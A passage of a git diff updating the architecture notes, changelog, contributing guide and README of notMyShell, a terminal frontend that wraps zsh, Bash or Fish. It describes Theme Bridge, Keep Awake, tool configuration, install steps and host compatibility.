presentation into the current window without restoring its old shell, as described in section 8. + +### Applying a Theme Bridge target + +`enable Bridge + choose Neovim Follow NMSh → resolve semantic palette → validate generated colorscheme → check artifact ownership → write artifact + ledger → review activation diff → apply verified hook` + +Later theme changes can regenerate the unchanged owned artifact. User modifications cause a conflict. The editor must load/reload the colorscheme for its display to change. + +## 24. Deeper reading + +These documents expand particular areas. Older design and research records explain decisions at their time; current code remains authoritative. + +- [Shell adapters](docs/architecture/shell-adapter.md): backend contracts, differences, switching, and ordinary-shell handoff. +- [Terminal stack](docs/architecture/terminal-stack.md): layer terminology; its zsh-only and bottom-editor wording predates the current adapters/layouts. +- [Terminal hosts](docs/architecture/terminal-host.md) and [multiplexer interoperability](docs/architecture/multiplexer-interop.md): capability boundaries and nested-terminal behavior. +- [notMyUI](docs/architecture/notmyui.md) and [TUI primitives](docs/architecture/tui-primitives-v012.md): common controls, surfaces, and focus. +- [Prompt customization](docs/architecture/prompt-customization.md): Native context, shape, and appearance choices. +- [Supported tool configuration](docs/architecture/supported-tool-configuration.md): configuration classes, adapters, and ownership. +- [Theme Bridge design](docs/design/theme-bridge.md): imports, target behavior, environment sink, and generated-file safety. +- [Chroma and UI chrome](docs/design/chroma-and-ui-chrome.md): how decoration and semantic presentation fit together. +- [Structured execution](docs/design/structured-execution.md) and [session interaction](docs/design/session-interaction-ux.md): command blocks and viewport interaction decisions. +- [Session journal](docs/design/session-journal-v0.4.md) and [sessions, agents, and intelligence](docs/design/v016-sessions-agents-intelligence.md): persistence and later session capabilities. +- [Shell UX and Ask](docs/design/v016-shell-ux-ask.md): typed assistance and shell interaction policies. +- [Accessibility baseline](docs/accessibility/baseline.md): color, motion, glyph, keyboard, and host considerations. +- [SECURITY.md](SECURITY.md): trust model and reporting policy. +- [CONTRIBUTING.md](CONTRIBUTING.md): development setup, validation, and contribution workflow. diff --git a/CHANGELOG.md b/CHANGELOG.md index 237f6d01..06d32003 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,33 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). ## [Unreleased] +### Themes, Theme Bridge and host cooperation +- **Prompt provider None**: composer only (no prompt row, modules or right prompt; the input marker stays) while editing, suggestions, syntax colors, history, themes and Theme Bridge keep working; commands submitted under None store no prompt snapshot. +- **Historical prompt** Full / Compact / Minimal / Off (`/transcript`, Settings, Setup); presentation only over the unchanged stored snapshot. +- **Native theme library**: any number of Custom and Imported themes with stable ids (bounded to 64); the single custom theme migrates into it and stays active. Imported is provenance only: imported themes are ordinary Native themes you can edit, rename, duplicate, export, select and pin. +- **Theme Studio** (`/theme`): Built-in · Imported · Custom · Import tabs, one editor and the real Native preview for every theme. Settings → Theme and `/setup appearance` select Built-in, Imported and Custom themes directly. +- **Imports**: NMSh Theme JSON, Base16, Base24, Windows Terminal, Oh My Posh (JSON, YAML, TOML; static colors only), Kitty, Ghostty (allowlist), iTerm2 `.itermcolors` (no XML entities) and WezTerm TOML (Lua refused). Data only, previewed with mapping and loss disclosure before saving; exports never include local source paths. +- **Theme Bridge** (`/theme-bridge`, opt-in, default Off): one switch plus **Apply themes** Manual / Follow NMSh / Choose theme. Under Manual each tool is Independent / Follow NMSh / Choose theme; under a global policy per-tool rows are view-only and the Manual choices are kept for later. One persistent panel with inline rows (Esc collapses before it closes), grouped by capability. fzf launched by NMSh, less/man termcap colors and **File listing colors** (GNU `ls`/`gls` via LS_COLORS with vivid when installed, BSD/macOS `ls` via CLICOLOR/LSCOLORS) through an NMSh-owned shell environment applied by the zsh, Bash and Fish adapters at the next prompt; generated tmux, Neovim, Vim, Helix and bat themes (bat: a real `.tmTheme`, a reviewed `bat cache --build` verified with `bat --list-themes`, `BAT_THEME` through the environment) with an ownership ledger, staged validated writes, a typed tmux reload and exact includes added only after review. delta is shown and not editable. "Remove managed setup" removes NMSh's files and includes; "Set Independent" only stops applying. No rc file, terminal or editor theme, or git config is changed. +- Theme Studio: local **Preview Chroma** (default Off, never saved) and **Duplicate current** into Custom (` - Custom`). Chroma is reachable from `/prompt`, `/appearance` and Setup (Appearance and Prompt, with a Setup-local preview toggle). +- **Host semantics**: OSC 7 working directory and OSC 133 command zones derived from NMSh's command lifecycle on capable hosts and tmux; NMSh-authored OSC 8 links in `/help` and dev-server task rows, kept separate from program links. +- `/appearance` is a compact launcher: Theme Studio, Prompt, Cursor & effects, UI chrome, Chroma, Motion, Theme Bridge and host window. + +### Providers, tools and integrations + +- **Keep Awake** (`/caffeinate`, `/awake`, `/zoomies`; one surface and state): Idle, Display, System and All, optional `30m`/`2h` timeouts, `status` and `stop`. Backends are detected, not assumed: Apple `/usr/bin/caffeinate` (fixed flags; System needs AC power), `systemd-inhibit` with `idle`/`sleep` only around an NMSh-owned wait helper (Display is reported unsupported on Linux), and Windows `SetThreadExecutionState` from a fixed hidden PowerShell helper (no away mode, no `powercfg`). The assertion is a detached process that outlives the window; ownership is a random token plus the exact command line, so an unverifiable record is cleared and nothing is killed. Changing mode asks first (default No) and starts the new assertion before releasing the old. +- Keep Awake **presentation**: while active, `Awake · ` is NMSh composer chrome (never prompt or provider output). Placement **Composer edge** (default) uses a plain top divider, else the bottom divider when a header prompt owns the top edge, else one row next to the composer; **Above composer** and **Input row** (only when it is completely safe; editor width, caret and hit testing account for it) are explicit choices, and a fallback never rewrites the setting. Both edges render through one shared edge renderer, so animated Chroma dividers keep it. An enabled **Status Strip** always includes it (narrowing before it drops); after 30 s without NMSh input an **idle reminder** adds the time and a muted `/zoomies stop`; the **screensaver** shows a small positioned status (default Bottom left). Display is Text, Icon or Icon + text. Off shows nothing. The panel gains Duration and these settings; Ask answers status questions and plans timed, change and stop requests through the same controller. +- Fixed: `/caffeinate`, `/awake` or `/zoomies` without arguments opened a panel that was never drawn, so the composer looked occupied until Ctrl+C (the Mise panel had the same problem). A start or stop from the panel now returns to the composer at once; the assertion was and remains an NMSh-owned background process, never a shell command. + +- **Shell frameworks and prompt engines:** `/tools` detects tools by an explicit strategy (executable or a registered filesystem detector), so Oh My Zsh, Powerlevel10k, Prezto, Zim, zinit and Antidote appear with factual status (`Installed · Zsh framework · used by Zsh only` under Bash/Fish). Detection grants no install, configuration or provider authority. Oh My Zsh has a guided install that keeps `.zshrc` and a `.zshrc.pre-oh-my-zsh` comparison with a reviewed restore; NMSh never runs its installer. Powerlevel10k is a `/tools` item that routes to the existing provider and `p10k configure` flow. **Oh My Posh** is a new Prompt provider (`oh-my-posh print primary`, argv only, no TTY, bounded, cancellable; Native fallback when it fails) and a curated `/tools` install (homebrew/core); its config can be imported into Theme Studio as static colors. Ask understands these requests; dotfiles treats `.p10k.zsh`, Oh My Zsh themes/plugins and Oh My Posh configs as inspect-only. +- `/providers` is one inline panel: each family with its status (● Active, ✓ Selected · fallback, Available, Missing · Enter to install); Enter selects immediately or installs after a confirmation (default No). Shortcuts `/picker` (`/pickers`), `/suggestions`, `/navigation`, `/welcome`, `/history-provider` and `/providers ` open it focused. +- Pickers follow the composer: with the composer at the bottom the query sits at the bottom and results above it (NMSh Native and fzf); at the top the query is at the top. +- **Tool Configuration** (`/configure`, `/tmux`): one first-party registry says which tools NMSh can configure (tmux, Starship), which it themes, and which are inspect-only (shell rc files, Neovim/Vim config). Detection never grants write authority. +- **tmux Config Studio** (`/tmux`): General settings from a documented catalog, keymaps and prefix with conflict display, a Status Studio with a live preview (status modules never run shell), an optional NMSh pane frontend (`default-command` that runs a fixed `/bin/sh` program with the NMSh path passed as quoted argv data, never as shell text, and falls back to your login shell inside NMSh; `default-shell` untouched), and import of a supported subset of an existing tmux.conf (`if-shell`, `run-shell`, `source-file` and `#()` are never followed). Each value shows where it comes from. Everything goes into one NMSh-managed tmux file, included once after review. +- `/integrations`: health of every managed integration (current, missing, stale, conflict) with Review all / Apply all (default No); after one-time activation, managed files update automatically when the theme changes. +- `/dotfiles [path or Git URL]`: plain, Git, GNU Stow and chezmoi sources. Remote sources are cloned only after confirmation (depth 1, no submodules, hooks disabled). Nothing in the repository is run, templates are not rendered, tmux imports supported fields only, Starship/Helix/bat and all executable configs are inspect-only (parseable config can still run commands, so nothing is copied without an explicit per-tool safety validator, and none exists today), conflicting values default to your current ones, and one combined review (default No) precedes any change. The repository is never modified. +- Ask maps tmux, provider, Theme Bridge, integrations and dotfiles requests onto these typed actions only, behind its final Yes/No. +- Commands: `/motion`, `/chrome`, `/glyphs` (`/glyph`), `/composer` (alias of `/layout`), `/strip` (`/status-strip`), `/configure`, `/tmux`, `/integrations`, `/dotfiles`. `/help` groups commands by area (Appearance, Composer & transcript, Providers, Tools & integration) and the palette lists each surface once with a readable label. Individual settings are not commands. + ### Contextual tools - `/tools` Discover shows a conservative **Relevant here** group from cheap local facts (Git repository, shell scripts, JavaScript/Node, Python, Go, Rust, container files, Kubernetes files or kubeconfig) and each tool's declared relevance. Only missing tools appear; nothing is executed, crawled or sent anywhere. - Typed package-manager plans for Homebrew, APT, DNF, pacman and zypper (WSL uses the distribution's manager). Tools without a verified package name stay manual. Non-root plans are explicit `sudo -n` argv; nothing elevates silently. @@ -25,6 +52,15 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - Screensavers: the capture keeps authored backgrounds and readable glyph colors (no black-on-dark chrome), Circletastic forms a few small circles completely before it stabilizes, rotates, accelerates and explodes (all at once or staggered, keeping ring momentum), and raiseCatError now uses the NMSh cat sprite, roams the whole screen, overlaps text freely, meows, and sometimes sits on a purely visual fake keyboard (never reaching the editor or shell). - Any exact command in the curated `/tools` catalog (not only Recommended ones) is recognized when missing; the prompt names the package when it differs (`tldr` is provided by tealdeer). TLDR (tealdeer) is now Recommended; Ask uses only its local cache (`--no-auto-update`) and says when examples are unavailable. +### Polish (this pass) +- `/tools`: the selected row is the shared selected band (the active tab's treatment): full width, bold, readable on the band, reverse video under `NO_COLOR`. +- Prompt None wording: the input marker stays (it always did); help, the prompt picker and Setup now say so. + +### Docs and demos +- [ARCHITECTURE.md](ARCHITECTURE.md): a plain-language overview of how NMSh works, linked from the README, CONTRIBUTING, AGENTS and llms.txt. +- README rewritten around what NMSh is, a short hero clip, a visual tour and the safety model; stale zsh-only, fixed-bottom, bat and release claims corrected. +- Reproducible visual docs: `npm run demos` renders the README and [demo gallery](docs/demos.md) clips from committed VHS tapes in `scripts/demos/` against a disposable demo home (no user config, no network, the inert Keep Awake backend). It replaces the old asciinema/tmux recorder. A small Vespyr divider is generated from the real sprite. + ### Updates and sessions - **Automatic updates** (Automatic / Notify only / Off, Daily or Weekly). New installs default to Automatic / Daily; saved Daily/Weekly checks migrate to Notify only and Off stays Off. Automatic prepares a verified stable release only where `/update apply`'s own checks pass, with the same build verification and rollback; the running session keeps its version. Status shows Running version, Latest, Mode and State. - Detached sessions can be ended from the startup picker with `X` and confirmation; the transcript is archived and stays in `/resume`. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 14205686..e4be6415 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -17,10 +17,11 @@ npm run build Before starting work, check: +- **[ARCHITECTURE.md](ARCHITECTURE.md)** — how the pieces fit together; start here before changing a subsystem - **[ROADMAP.md](ROADMAP.md)** — product direction and what is planned - **[GitHub Issues](https://github.com/raiseCatError/notMyShell/issues)** — concrete actionable work; acceptance criteria in each issue are authoritative - **[v0.16.0 Release](https://github.com/raiseCatError/notMyShell/releases/tag/v0.16.0)** — current stable release -- **[#132 Flow / Classic composer](https://github.com/raiseCatError/notMyShell/issues/132)** — next planned direction (see [ROADMAP.md](ROADMAP.md)) +- **[PR #315](https://github.com/raiseCatError/notMyShell/pull/315)** — current development after v0.16.0 (unreleased; see [ROADMAP.md](ROADMAP.md)) - **GitHub Project** — [NMSh Development](https://github.com/users/raiseCatError/projects/1) — live development status board ## Branch Model @@ -93,3 +94,7 @@ When opening a Pull Request: - **Reproducibility**: Keep generated/demo assets reproducible using the scripts in `scripts/`. Commits do not need to follow an excessively strict convention (e.g. Conventional Commits), but clear, descriptive messages are preferred. + +## Visual docs and demos + +README and [docs/demos.md](docs/demos.md) media come from committed VHS tapes in [`scripts/demos/`](scripts/demos/README.md). If a change alters what a clip shows, re-record it with `npm run demos` (or `npm run demos -- `) and commit the tape and the regenerated asset together. Recordings run against a disposable demo home and never read your own NMSh config, shell rc files or history. diff --git a/README.md b/README.md index 0d993214..e3fffc82 100644 --- a/README.md +++ b/README.md @@ -7,168 +7,101 @@

License - macOS - Node.js - zsh + macOS, Linux (beta), WSL 2 + Node.js 22+ + zsh, Bash, Fish CI


-**notMyShell (NMSh)** is a terminal frontend for a real persistent zsh session. It adds a persistent bottom input editor, semantic syntax highlighting, autocomplete, scrollable history, and richer command feedback while preserving normal shell state, aliases, functions, environment, and PTY behavior. +**notMyShell (NMSh)** runs your real zsh, Bash or Fish in a persistent session and gives it a better front end: a composer that stays put, semantic highlighting, a readable transcript, live command feedback, sessions that survive closing the window, and themes that can reach the tools you use. -Current stable release: [v0.16.0 — Sessions, Agents & Portability](https://github.com/raiseCatError/notMyShell/releases/tag/v0.16.0). - -Working on NMSh? See [AGENTS.md](AGENTS.md). - -## Visual demo +Current stable release: [v0.16.0 — Sessions, Agents & Portability](https://github.com/raiseCatError/notMyShell/releases/tag/v0.16.0). The `master` branch is the released state; newer work (themes, Theme Bridge, tool configuration, shell frameworks, Keep Awake) is in development and listed under *Unreleased* in the [changelog](CHANGELOG.md).
- NMSh Demo -

NMSh showing semantic highlighting, the pinned input bar, and live activity feedback.

+ NMSh: typing a highlighted command, running it with live activity, then switching the theme from /theme +

Typing with semantic highlighting, live command feedback, and a theme change from /theme. Recorded from the real binary with VHS.

-
-
- - Divider - -
-
+## What NMSh is (and is not) -## What is NMSh? - -NMSh is **NOT** a replacement shell implementation, and it is **NOT** a terminal emulator. - -It is a frontend that wraps your real zsh environment. NMSh owns the prompt, multiline input editor, syntax highlighting, and history presentation. Real zsh owns the parsing, command execution, aliases, and environment variables. +NMSh is a **frontend**. Your shell stays underneath and does what it always did: parsing, execution, aliases, functions, environment, job control. NMSh owns what you see and type: the composer and editor, completion and suggestions, history and transcript, prompt and themes.
- NMSh Architecture + Terminal host → NMSh frontend → ShellAdapter → your real shell
-## Why NMSh? - -NMSh provides a richer interactive frontend without throwing away the proven robustness of a real shell parser. It brings a Claude Code-like interaction model to your daily shell: - -- **Fixed bottom input:** A stable workspace that never jumps around. -- **Scrollable history:** Output history that doesn't disappear when you edit. -- **Rich editor:** True multiline input that acts like a text editor. -- **Preserved semantics:** Your real shell aliases, functions, and pipelines still work. +- **Not a shell.** It does not reimplement zsh, Bash or Fish; it runs them. +- **Not a terminal emulator.** Keep Ghostty, Terminal.app, VS Code, Zed or whatever you use. +- **Not a prompt theme.** The Native prompt is optional; Starship, Oh My Posh or Powerlevel10k can supply the prompt instead, or none at all. +- **Not an AI terminal.** `/ask` maps plain requests onto typed NMSh actions locally, with an optional local model; nothing needs an account. -
-
- - Divider - -
-
+## Highlights -## Features - -### Shell -- Real zsh execution and parsing -- Real aliases, functions, and environment -- `zoxide` integration -- Completion bridge using real zsh completion data - -### Editor -- Multiline input and selection -- Predictive ghost suggestions (NMSh Native: fuzzy, frecency, directory, and sequence ranking; optional Deja provider): → accepts, Alt+→ accepts a word, Ctrl+N / Ctrl+P show alternatives, Esc dismisses -- **Semantic syntax highlighting** (differentiates executables, builtins, aliases, and functions instantly) - -### Prompt -- NMSh Native prompt (default) with Lavender Native, Brand / Semantic, Cool First, Warm First, and Grayscale themes -- Independent Start / Connector / Connector fade / Gap / End geometry (wedge, flat, rounded, slanted, and fading outer edges), icons On/Off, and a module manager: `/prompt` → Main Prompt -- Rich Git state (staged, modified, untracked, conflicts, ahead/behind/diverged, operations, clean) with its own Enabled, Colors (Semantic default, Follow theme, Grayscale), Geometry, and Connector fade settings: `/prompt` → Rich Git -- Right-side prompt context: any module can sit left or right (`/prompt` → Modules, `P`); the right side mirrors its geometry to face left by default (`M`) and is the first thing to go on narrow terminals -- Show-on-command modules: Kubernetes and Docker context (and optionally toolchains) appear only while a relevant command such as `kubectl` or `docker` is typed; typed text is never executed to decide -- Width-aware path shortening keeps the repository name and current directory whole while abbreviating parents as the terminal narrows -- Terminal glyph style (Nerd Font or Safe/ASCII) is chosen on first run and can be changed in `/config` (Glyph style) or previewed under `/settings` → Settings → Glyph style. Existing v0.3 configurations keep Nerd Font styling; `NMSH_ICONS=nerd|safe` overrides the saved choice for the current process. -- Optional Starship or Powerlevel10k prompt providers; NMSh keeps the editor. The Starship module editor changes only reviewed settings, with a backup of an existing config. -- Native prompt styles: Powerline, Soft, Minimal, Outline (`/prompt` → Style) -- One-line or two-line composer layouts - -### Interface -- Command lifecycle rows with activity animation and nested Node TAP activity -- Scrollable history with muted snapshots of each command's prompt; tune dividers and history colors with `/transcript` -- Output folding (Config → Output folding: Off / Smart / Always): long output collapses to its first and last lines around `› N lines hidden · Ctrl+O`; Smart keeps failures and useful output expanded; `/copy` and `/resume` always keep the full output -- Composer position Bottom, Top, or Flow (Config → Composer position). Flow places the prompt and input right after the newest output, like a conventional terminal, and they scroll with it. Combine any position with Normal or Chat transcript presentation (Config → Transcript presentation). `/layout` (also Config → Layout) previews every combination with sample content before you choose. -- Welcome providers: Vespyr (default), Fastfetch, Neofetch (legacy, if installed), or None (`/settings` → Welcome) -- Command palette: `/palette`, F1, or Ctrl+Shift+P (Cmd+Shift+P where the terminal reports it) to search NMSh commands, settings, and actions -- Sticky command headers keep the current command visible while scrolling -- **Live sessions:** closing a window detaches its shell instead of ending it, and running commands keep going. Come back through the startup prompt (Config → Sessions: Ask, Always or Never), `/resume` (LIVE sessions with their status, above archived transcripts), or `nmsh --attach ` (`nmsh --sessions` lists them). `exit`, Ctrl+D and `/zsh` end a session. -- NMSh checkpoints the local presentation session during use; `/clear` starts a fresh view and `/resume` browses retained sessions without rewinding live zsh state -- `/zsh` hands off to an ordinary interactive zsh -- Rich paste atoms for large multiline pastes -- `/copy` and `/copy N` for instant clipboard access -- `/history` interactive search -- `/version`, `/appearance`, and `/keyboard` integrations -- `/settings` (alias `/config`) edits NMSh preferences and `/status` shows runtime status, while direct commands such as `/prompt` and `/transcript` remain available - -### Interactive Apps -- Safe passthrough yielding for full-screen applications like `fzf`, `vim`, `nano`, and `less`. +- **A composer that stays where you want it** — Bottom, Top or Flow (right after the newest output), one-line or two-line, with true multiline editing. +- **Semantic highlighting** — commands, builtins, aliases and functions are classified against your real shell as you type; partial input is never executed. +- **A transcript you can use** — command blocks with status and timing, folding for long output, `/find` and `/filter`, plain-text `/copy`. +- **Live sessions** — closing a window detaches the shell instead of killing it; running commands keep going. `/resume` or `nmsh --attach` brings them back. +- **Prompt providers** — NMSh Native (Powerline, Soft, Minimal, Outline styles), Starship, Oh My Posh, Powerlevel10k or None. +- **Theme Studio and Theme Bridge** — built-in, imported and custom themes in `/theme`; opt-in `/theme-bridge` carries the active theme to fzf, less/man, file listings, bat, tmux, Vim, Neovim and Helix through files NMSh owns and you review. +- **Curated tools** — `/tools` finds, explains and (on request) installs a short list of shell tools; `/providers` picks the picker, history, navigation and suggestion providers; `/tmux` and `/dotfiles` import settings safely. +- **Shell frameworks, handled carefully** — Oh My Zsh, Powerlevel10k, Prezto, Zim, zinit and Antidote are detected; shell config is treated as code, never as harmless data. +- **Keep Awake** — `/zoomies` (also `/caffeinate`, `/awake`) keeps the machine or display awake through the OS's own mechanism and shows that it is on, quietly. +- **Personality, optional** — Chroma color treatments, motion, screensavers and Vespyr, the NMSh cat. All of it respects Reduced Motion, Safe glyphs and `NO_COLOR`. -
- - Divider - + Vespyr, the NMSh cat, sitting on a divider
-
- -## Syntax Highlighting -Highlighting is entirely NMSh-native and non-blocking. A fast lexical layer tokenizes the input, while an asynchronous semantic bridge queries your real zsh environment to classify command tokens. - -NMSh safely queries metadata (`whence -w`) and never executes partially typed input. - -`/syntax` (also under `/settings` → Syntax) turns highlighting on or off and picks its colors: follow the prompt theme (default; with Starship or Powerlevel10k this means the saved NMSh Native palette), choose any Native theme independently, or Grayscale, which keeps categories apart through lightness, weight, and underline. Live preview rows show the result before saving. Submitted commands keep the look they were entered with; raw command output is never recolored and `/copy` stays plain text. - -
- - Syntax highlighting demo - -
- -
-
- - Divider - -
-
- -## Shell Compatibility - -NMSh runs a real, persistent shell underneath and keeps it: zsh (default), Fish, or Bash 4.4+. The same composer, transcript, sessions, prompt UI, Settings, Chroma, history presentation and completion menu work over each. `/shell` lists what is installed and switches the current session in place (same session, cwd and transcript); Settings → Default shell chooses the shell for new sessions. NMSh never installs a shell. See [ShellAdapter](docs/architecture/shell-adapter.md) for exactly what differs (for example, Bash completion has no descriptions). - -**What works naturally:** -- Aliases, functions, PATH, and environment variables -- `zoxide` integration, pipelines, redirects, and external commands - -**No plugin manager required.** NMSh provides its editor, completion menu, prompt, transcript and sessions itself. Existing frameworks and plugin managers (Oh My Zsh, Antidote, Zinit, Fisher, …) can keep providing compatible shell-level functionality; `/status` and `nmsh doctor` show what is detected and how it relates to NMSh. - -**UI Plugin differences:** -- Foreign prompt rendering in the managed shell (Powerlevel10k, RPROMPT, ZLE prompts, Fish prompts) is suppressed so it cannot fight NMSh. You can still choose Starship or Powerlevel10k as an NMSh prompt provider. Powerlevel10k's left prompt is rendered in an isolated helper, without its prompt character, gitstatus daemon, or right prompt. -- `zsh-autosuggestions` and `zsh-syntax-highlighting` draw through ZLE, which NMSh keeps off; NMSh's own suggestions and highlighting are shown instead, and the plugins keep working in `/zsh` and ordinary zsh. -- Native `fzf-tab` integration is not currently supported; safe zsh completion/widget interoperability remains unresolved in [issue #52](https://github.com/raiseCatError/notMyShell/issues/52). - -NMSh loads your own shell startup files in a controlled bootstrap and never edits them. - -See [ROADMAP.md](ROADMAP.md) for planned work (Nushell and native Windows are later). - -## Installation - -**Prerequisites:** -- macOS, or Linux (beta: tested in CI on Ubuntu and Fedora; not physically validated), or Windows through WSL 2 (see [platforms](docs/architecture/platforms.md)) -- Node.js (v22+) -- zsh (Fish and Bash 4.4+ are optional additional backends) -- A compatible terminal host: an integrated terminal (such as Zed or VS Code) or a standalone terminal (such as Ghostty or macOS Terminal) - -Clone the repository and install dependencies: +## Visual tour + +Every clip below is the real NMSh binary, recorded from a disposable demo home with committed [VHS tapes](scripts/demos/). More in the [demo gallery](docs/demos.md). + + + + + + + + + + + + + +
+ Composer & prompts
+ /prompt and /layout: one-line ↔ two-line, Bottom → Top → Flow, prompt styles.

+ Changing the composer layout and prompt style +
+ Themes
+ /theme: browse built-in themes with a live preview, then duplicate one into Custom.

+ Theme Studio switching between built-in themes +
+ Live sessions
+ A command keeps running while its window is gone; reattach and it is still there.

+ Detaching from a running session and reattaching +
+ Screensavers & Vespyr
+ /screensaver: a few of the built-in savers, including Bouncing Vespyr.

+ Screensaver gallery previews +
+ Keep Awake
+ /zoomies display starts it and hands the prompt straight back; Awake · Display sits on the composer edge and in the Status Strip; /zoomies stop ends it. (Recorded with the inert demo backend, so nothing was actually kept awake.)

+ Starting and stopping Keep Awake +
+ +## Install + +NMSh is installed from source today. You need: + +- macOS, Linux (beta: automated CI on Ubuntu and Fedora, not yet physically validated) or Windows through WSL 2 ([platforms](docs/architecture/platforms.md)) +- Node.js 22 or newer +- zsh (default), and optionally Bash 4.4+ or Fish ```sh git clone https://github.com/raiseCatError/notMyShell.git @@ -176,129 +109,104 @@ cd notMyShell npm install npm run build npm link +nmsh ``` -*(Note: Depending on your npm version, you may be prompted to allow lifecycle scripts required by `node-pty`. You can safely approve this or set `allowScripts` appropriately.)* - -After linking, run the CLI from anywhere: +npm may ask to allow `node-pty`'s install script; it is required. To start NMSh from Ghostty or another GUI terminal, use absolute paths so macOS `PATH` differences cannot break startup: -```sh -nmsh +``` +command = direct:/absolute/path/to/node /absolute/path/to/nmsh ``` -### Moving settings and uninstalling - -- `nmsh config export` / `nmsh config import FILE` move your settings between machines, hosts and shells (versioned JSON, preview before apply, selectable categories; no history or secrets). See [portability](docs/design/v016-portability-uninstall-diagnostics.md). -- `nmsh uninstall` previews and removes only NMSh's own launcher links; your settings are kept unless `--delete-data`, and your shell config is never touched. -- `nmsh doctor` prints a short diagnostic for issue reports. +Do not set nmsh as your system/login shell with chsh. Keep zsh, Bash or Fish as your real shell. If you want NMSh to open automatically, configure your terminal app (Ghostty, Zed, etc.) to launch nmsh instead. -### Updating +**Updating:** `/update` shows the latest stable release and the exact plan; `/update apply` installs it into a clean official source checkout, verifies the build, and rolls back on failure. Automatic updates (Automatic / Notify only / Off) use the same checks. -`/update` checks GitHub for the latest stable release and shows current → available, a short release summary, and the exact plan. `/update apply` then installs that release. NMSh updates a source checkout of this repository only when the checkout is clean, its `origin` is this repository, the fetched release tag matches the commit GitHub reports, and moving to the tag is a fast-forward. It then runs `npm install` and `npm run build` and verifies the new build identity. If anything fails, it restores the previous commit and rebuilds it. Otherwise it explains why and prints the manual steps. It never pulls arbitrary branches, discards changes, or touches your settings, transcripts, or shell profile. Restart NMSh afterwards to use the new version. +**Moving and removing:** `nmsh config export` / `nmsh config import FILE` move settings between machines (preview first, no history or secrets); `nmsh uninstall` removes only NMSh's own launcher links; `nmsh doctor` prints a diagnostic for bug reports. -Config → Automatic updates is Automatic, Notify only or Off, with a Daily or Weekly check frequency. New installs default to Automatic / Daily; saved Daily/Weekly notification preferences migrate to Notify only, Off stays Off. Automatic only prepares a verified stable release on an official, clean source checkout (the same checks `/update apply` makes, with the same rollback); the running session keeps its version and the new one starts on the next launch. Anything that cannot be proven safe gets one quiet notice and the manual steps. No credentials or telemetry are involved. +## Core commands -## Ghostty Setup +Type `/` in the composer for the full list, or `/help` for everything grouped by area. The ones you will reach for most: -For the most robust startup experience in Ghostty, configure it to run NMSh using absolute paths. GUI applications on macOS sometimes have unpredictable `PATH` resolution. +| Area | Commands | +| --- | --- | +| Settings and setup | `/settings` (`/config`), `/setup`, `/palette` (F1), `/help`, `/status` | +| Composer and prompt | `/prompt`, `/layout` (`/composer`), `/transcript`, `/syntax`, `/cursor` | +| Look and motion | `/appearance`, `/theme`, `/theme-bridge`, `/chroma`, `/motion`, `/chrome`, `/glyphs`, `/strip`, `/screensaver` | +| Tools | `/tools`, `/providers`, `/configure`, `/tmux`, `/integrations`, `/dotfiles` | +| Sessions and history | `/resume`, `/sessions`, `/history`, `/find`, `/filter`, `/copy`, `/clear` | +| Shells | `/shell` (switch zsh / Bash / Fish in place), `/zsh` (hand off to an ordinary shell) | +| Everyday extras | `/ask`, `/watch`, `/open`, `/zoomies` (`/caffeinate`, `/awake`), `/update`, `/doctor` | -1. Find your absolute paths: - ```sh - command -v node - command -v nmsh - ``` +### Keep Awake -2. Add the direct command to your Ghostty config (`~/.config/ghostty/config`): - ``` - command = direct:/absolute/path/to/node /absolute/path/to/nmsh - ``` +`/caffeinate`, `/awake` and `/zoomies` are the same feature: -Do not instruct macOS to change your default login shell to NMSh. NMSh is a frontend; zsh remains the underlying shell. +```text +/zoomies open the panel (starts nothing by itself) +/zoomies display keep the display and the machine awake until stopped +/zoomies system 2h prevent system sleep for two hours +/zoomies status mode, backend, start time, timeout +/zoomies stop end it +``` -## Host Compatibility +It uses the operating system's own mechanism: Apple `caffeinate` on macOS, a systemd inhibitor on Linux (idle and sleep only; the inhibitor is not a display API, so Display is shown as unavailable there), and the `SetThreadExecutionState` API on Windows. The assertion is an NMSh-owned background process, so the prompt comes straight back; it keeps running after the window closes and ends on `stop` or its timeout. Typing `caffeinate` yourself is still an ordinary shell command. While it is active, NMSh shows `Awake · ` on a free composer edge (or a row next to the composer), in the Status Strip when that is on, and optionally on the screensaver; nothing shows while it is off. Power settings are never changed, and `/zoomies stop` only stops what NMSh can prove it started. -Keep your terminal. Keep your shell. Upgrade the interaction layer. NMSh is intentionally terminal-host independent: you can move between integrated terminals, standalone terminals and different hosts and keep the same NMSh interaction layer. No host is required or preferred. +## Compatibility -- **Integrated terminals** are a first-class NMSh use case. Integrated terminals such as Zed and VS Code are regularly used during development and receive frequent real-world testing. -- **Standalone terminals** are equally first-class. Standalone terminals such as Ghostty and macOS Terminal are also regularly used and physically validated. -- **Other compatible hosts** are supported where NMSh's terminal capabilities allow, but some have not yet received the same level of physical validation. +**Shells.** zsh (default), Bash 4.4+ and Fish run behind one [ShellAdapter](docs/architecture/shell-adapter.md); the composer, transcript, sessions, prompt, themes and completion menu work over each, and `/shell` switches the current session in place. NMSh loads your startup files in a controlled bootstrap and never edits them. ZLE prompt and widget UI (Powerlevel10k's in-shell prompt, zsh-autosuggestions, zsh-syntax-highlighting) is kept off inside NMSh so it cannot fight the composer; those plugins keep working in `/zsh` and ordinary shells. Native `fzf-tab` is not supported ([#52](https://github.com/raiseCatError/notMyShell/issues/52)). -*Supported* means NMSh is designed to work with the host's capability profile; *physically validated* means a real manual QA pass has been completed on that host. +**Shell frameworks and prompt providers.** They are different things, and NMSh treats them differently: -| Host | Kind | Notes | -|------|------|-------| -| Zed | Integrated | Wheel/trackpad scrolling of the transcript through standard SGR mouse reporting; Shift keeps Zed's own text selection. Appearance is configured by Zed. Additional sessions use `/resume` or `nmsh --attach`. | -| VS Code | Integrated | `Shift+Enter` may require custom `keybindings.json` forwarding. Opacity/blur controls are not applicable. | -| Ghostty | Standalone | `/keyboard` and `/appearance` integration, new windows for sessions. | -| macOS Terminal | Standalone | Shift+Enter works out of the box; keyboard scrolling (PageUp/PageDown). | -| Kitty | Capability profile (CI fixtures) | Kitty keyboard protocol, mouse reporting and graphics are assumed only from the profile plus protocol replies; new windows need `allow_remote_control`. Not physically validated. | -| iTerm2 | Capability profile (CI fixtures) | Mouse, hyperlinks and image protocol from the profile; new windows through AppleScript. Not physically validated. | -| WezTerm | Capability profile (CI 